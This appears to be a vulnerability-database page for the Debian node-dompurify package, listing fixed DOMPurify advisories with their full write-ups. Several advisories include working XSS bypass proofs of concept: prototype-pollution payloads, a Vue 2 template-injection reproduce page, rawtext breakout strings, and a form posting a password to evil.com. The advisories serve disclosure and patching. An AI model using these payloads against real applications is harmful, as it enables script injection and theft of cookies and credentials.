Search for packages
| purl | pkg:deb/debian/node-dompurify@3.4.1%2Bdfsg-1?distro=trixie |
| Vulnerability | Summary | Fixed by |
|---|---|---|
| This package is not known to be affected by vulnerabilities. | ||
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-68r6-dfzr-jyhh | DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback ## Summary DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization. ## Affected Versions - **3.0.1 through 3.3.3** (current latest) — all affected - **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment) - The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor - This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2) - This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3) ## Root Cause In `purify.js` at line 590, during config parsing: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {}; ``` When no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`. Lines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered. As a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed. ## Impact - **Attack type:** XSS bypass via prototype pollution chain - **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget) - **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected. - **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization ## Proof of Concept ```javascript // Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application Object.prototype.tagNameCheck = /.*/; Object.prototype.attributeNameCheck = /.*/; // Step 2: Application sanitizes user input with DEFAULT config const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>'); // Step 3: "Sanitized" output still contains the event handler console.log(clean); // Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus=""> // Step 4: When injected into DOM, XSS executes document.body.innerHTML = clean; // alert() fires ``` ### Tested configurations that are vulnerable: | Call Pattern | Vulnerable? | |---|---| | `DOMPurify.sanitize(input)` | YES | | `DOMPurify.sanitize(input, {})` | YES | | `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES | | `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) | ## Suggested Fix Change line 590 from: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {}; ``` To: ```javascript CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null); ``` The `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance. ### Alternative application-level mitigation: Applications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config: ```javascript DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: null, attributeNameCheck: null } }); ``` ## Timeline - **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project) - **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3 - **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801 - **2026-04-04:** Advisory drafted, responsible disclosure initiated ## Credit https://github.com/trace37labs |
CVE-2026-41238
GHSA-v9jr-rg53-9pgp |
| VCID-8y7q-v1h7-b7hd | DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode ## Summary | Field | Value | |:------|:------| | **Severity** | Medium | | **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) | `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. ## Technical Details DOMPurify strips template expressions in two passes: 1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)): ```js // pass #1: runs on every text node during tree walk if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) { content = currentNode.textContent; content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' ' content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' ' content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' ' currentNode.textContent = content; } ``` 2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles. The `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)): ```js // purify.ts (simplified) if (RETURN_DOM) { // ... build returnNode ... return returnNode; // <-- exits here, pass #2 never runs } // pass #2: only reached by string-mode callers if (SAFE_FOR_TEMPLATES) { serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' '); } return serializedHTML; ``` The payload `{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}` exploits this: 1. Parser creates: `TEXT("{")` → `<foo>` → `TEXT("{payload}")` → `<foo>` → `TEXT("}")` — no single node contains `{{`, so pass #1 misses it 2. `<foo>` is not allowed, so DOMPurify removes it but keeps surrounding text 3. The three text nodes are now adjacent — `.outerHTML` reads them as `{{payload}}`, which Vue 2 compiles and executes ## Reproduce Open the following html in any browser and `alert(1)` pops up. ```html <!DOCTYPE html> <html> <body> <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script> <script> var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>'; var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true }); document.body.appendChild(dom.firstChild); new Vue({ el: '#app' }); </script> </body> </html> ``` ## Impact Any application that sanitizes attacker-controlled HTML with `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `RETURN_DOM_FRAGMENT: true`), then mounts the result into a template-evaluating framework, is vulnerable to XSS. ## Recommendations ### Fix `normalize()` merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both `RETURN_DOM` and `RETURN_DOM_FRAGMENT`. ```diff if (RETURN_DOM) { + if (SAFE_FOR_TEMPLATES) { + body.normalize(); + let html = body.innerHTML; + arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => { + html = stringReplace(html, expr, ' '); + }); + body.innerHTML = html; + } + if (RETURN_DOM_FRAGMENT) { returnNode = createDocumentFragment.call(body.ownerDocument); ``` |
CVE-2026-41239
GHSA-crv5-9vww-q3g8 |
| VCID-gmsu-xfke-47bg | DOMPurify allows tampering by prototype pollution It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check. This renders dompurify unable to avoid XSS attack. Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch). |
CVE-2024-45801
GHSA-mmhx-hmjr-r674 |
| VCID-mebp-4rfu-vqcq | DOMpurify has a nesting-based mXSS DOMpurify was vulnerable to nesting-based mXSS fixed by [0ef5e537](https://github.com/cure53/DOMPurify/tree/0ef5e537a514f904b6aa1d7ad9e749e365d7185f) (2.x) and [merge 943](https://github.com/cure53/DOMPurify/pull/943) Backporter should be aware of GHSA-mmhx-hmjr-r674 (CVE-2024-45801) when cherry-picking POC is avaible under [test](https://github.com/cure53/DOMPurify/blob/0ef5e537a514f904b6aa1d7ad9e749e365d7185f/test/test-suite.js#L2098) |
CVE-2024-47875
GHSA-gx9m-whjm-85jf |
| VCID-mv6v-re2k-g3gn | DOMPurify contains a Cross-site Scripting vulnerability DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched. |
CVE-2025-15599
GHSA-v8jm-5vwx-cfxm |
| VCID-ps3s-bymy-dkbc | DOMPurify contains a Cross-site Scripting vulnerability DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `</noscript><img src=x onerror=alert(1)>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts. |
CVE-2026-0540
GHSA-v2wj-7wpq-c8vv |
| VCID-t7hs-8fpg-jqdw | DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef |
CVE-2026-41240
GHSA-h7mw-gpvr-xq4m |
| VCID-vbs9-gben-9kgc | DOMPurify vulnerable to tampering by prototype polution dompurify was vulnerable to prototype pollution Fixed by https://github.com/cure53/DOMPurify/commit/d1dd0374caef2b4c56c3bd09fe1988c3479166dc |
CVE-2024-48910
GHSA-p3vf-v8qc-cwcr |
| VCID-vn3n-jmc8-57h3 | In DOMPurify through 3.2.5 before 6bc6d60, scripts/server.js does not ensure that a pathname is located under the current working directory. NOTE: the Supplier disputes the significance of this report because the "Uncontrolled data used in path expression" occurs "in a development helper script which starts a local web server if needed and must be manually started." |
CVE-2025-48050
|
| VCID-vzq7-t235-ukd5 | DOMPurify allows Cross-site Scripting (XSS) DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS). |
CVE-2025-26791
GHSA-vhxf-7vqr-mrjg |